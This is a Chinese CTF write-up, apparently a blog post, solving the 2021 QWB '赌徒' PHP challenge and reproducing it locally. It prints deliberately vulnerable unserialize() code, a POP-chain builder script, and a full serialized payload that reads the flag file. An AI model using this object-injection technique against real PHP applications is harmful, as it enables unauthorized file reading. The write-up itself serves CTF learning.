2021qwb [强网先锋]赌徒 Writeup + 环境复现

2021 qwb [强网先锋]赌徒 Writeup + 环境复现(win10)

1、本地环境复现(win10+phpStudy2018)

将比赛文件复制到phpStudy的\phpStudy\PHPTutorial\WWW 网站运行目录下;

比赛文件index.php,源码就在此文件中,www.zip 文件为index.php的打包,其他文件夹自建,主要为了还原最真实的比赛环境。

2、Writeup 开始解题

打开题目链接,发现就一句话,如下:

I think you need /etc/hint . Before this you need to see the source code

看看页面源代码,看了看请求和响应,发现一个小细节:

服务器的环境出来了 Apache/2.4.18(Ubuntu) ==>此为当时比赛中真实截图

基于此情况,对该链接进行"目录扫描"操作

一个www.zip 的备份文件(对照本地环境复现看),下载下来后里面有一个index.php的源码文件,源码如下:

复制代码
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);

class Start

{

public $name='guest';

public $flag='syst3m("cat 127.0.0.1/etc/hint");';

复制代码
	public function __construct(){
		echo "I think you need /etc/hint . Before this you need to see the source code";
	}

	public function _sayhello(){
		echo $this->name;
		return 'ok';
	}

	public function __wakeup(){
		echo "hi";
		$this->_sayhello();
	}
	public function __get($cc){
		echo "give you flag : ".$this->flag;
		return ;
	}
}

class Info
{
	private $phonenumber=123123;
	public $promise='I do';

	public function __construct(){
		$this->promise='I will not !!!!';
		return $this->promise;
	}

	public function __toString(){
		return $this->file['filename']->ffiillee['ffiilleennaammee'];
	}
}

class Room
{
	public $filename='/flag';
	public $sth_to_set;
	public $a='';

	public function __get($name){
		$function = $this->a;
		return $function();
	}

	public function Get_hint($file){
		$hint=base64_encode(file_get_contents($file));
		echo $hint;
		return ;
	}

	public function __invoke(){
		$content = $this->Get_hint($this->filename);
		echo $content;
	}
}

if(isset($_GET['hello'])){
	unserialize($_GET['hello']);
}else{
	$hi = new  Start();
}

?>

从代码中分析可以看出,给"hello"传参,然后进行序列化攻击。

现在问题来了,代码中一共有3个类,我们需要从哪一个类开始下手呢?

通过对魔术方法和序列化的的学习,我们只能从Start这个类开始下手,当对这个该类进行反序列化时,会自动执行wakeup()方法,而这3个类中只有Start类存在这个方法。

再继续观察发现,我们最终需要达到的目的地是Room类的Get_hint()方法。

构造payload:

复制代码
<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

在我们本地搭建的环境中运行payload.php

序列化得到payload(false):

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

由于我们本地win10环境,flag文件放在C盘根目录下,名为flag。

故再次序列化payload(true)变更为:

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:7:"c:/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

注意:Infophonenumber,要用%00截断,因为phonenumber为类Info中的变量,这样才能符合序列化语句的构造。不然反序列化结果会有问题,什么都没有一片空白(亲测)!

最后,利用了魔术方法的特性成功进行了序列化攻击,实现了在一个类跳转到另一个类并执行方法!

ZmxhZ3s0NTZiNzg5LWE0YWUtMTg1My1hMWIyLXExdzJlM3I0dDV9

注意:hi 是之前Start类中输出的内容!

得到base64编码后的字符串进行解码:

最终得到了flag并与flag文件中的内容进行比对。

复制代码
flag{456b789-a4ae-1853-a1b2-q1w2e3r4t5}

以上就是本文的全部内容,希望对大家的学习有所帮助

相关推荐
志栋智能21 小时前
超自动化安全:构建智能安全运营的核心引擎
大数据·运维·服务器·数据库·安全·自动化·产品运营
星幻元宇VR1 天前
VR航空航天科普设备【VR时空直升机】
科技·学习·安全·生活·vr
weixin_514253181 天前
428-uitars tmux
安全·web安全
漠月瑾-西安1 天前
软件忘了“擦黑板”:一次内核信息泄露事件(CVE-2024-49997)的深度剖析
网络安全·linux内核·内核安全·信息泄露·内存安全·cve漏洞分析
KKKlucifer1 天前
日志审计与行为分析在安全服务中的应用实践
网络·人工智能·安全
ykjhr_3d1 天前
vr电力安全培训系统有哪些
安全·vr·华锐视点
枷锁—sha1 天前
【CTFshow-pwn系列】03_栈溢出【pwn 073】详解:静态编译下的自动化 ROP 链构建
网络·汇编·笔记·安全·网络安全·自动化
VBsemi-专注于MOSFET研发定制1 天前
面向高可靠与能效需求的安全存储系统功率器件选型策略与适配手册
安全
xixixi777771 天前
AI安全周记:AI驱动攻击占比50%、PQC国标落地、ShinyHunters连环袭击——面对1:25的攻防成本鸿沟,防守方还能撑多久?
人工智能·安全·ai·大模型·aigc·量子计算·供应链
智擎软件测评小祺1 天前
什么是非功能检测?筑牢软件性能与安全的基石
功能测试·安全·检测·cma·第三方检测·cnas·非功能检测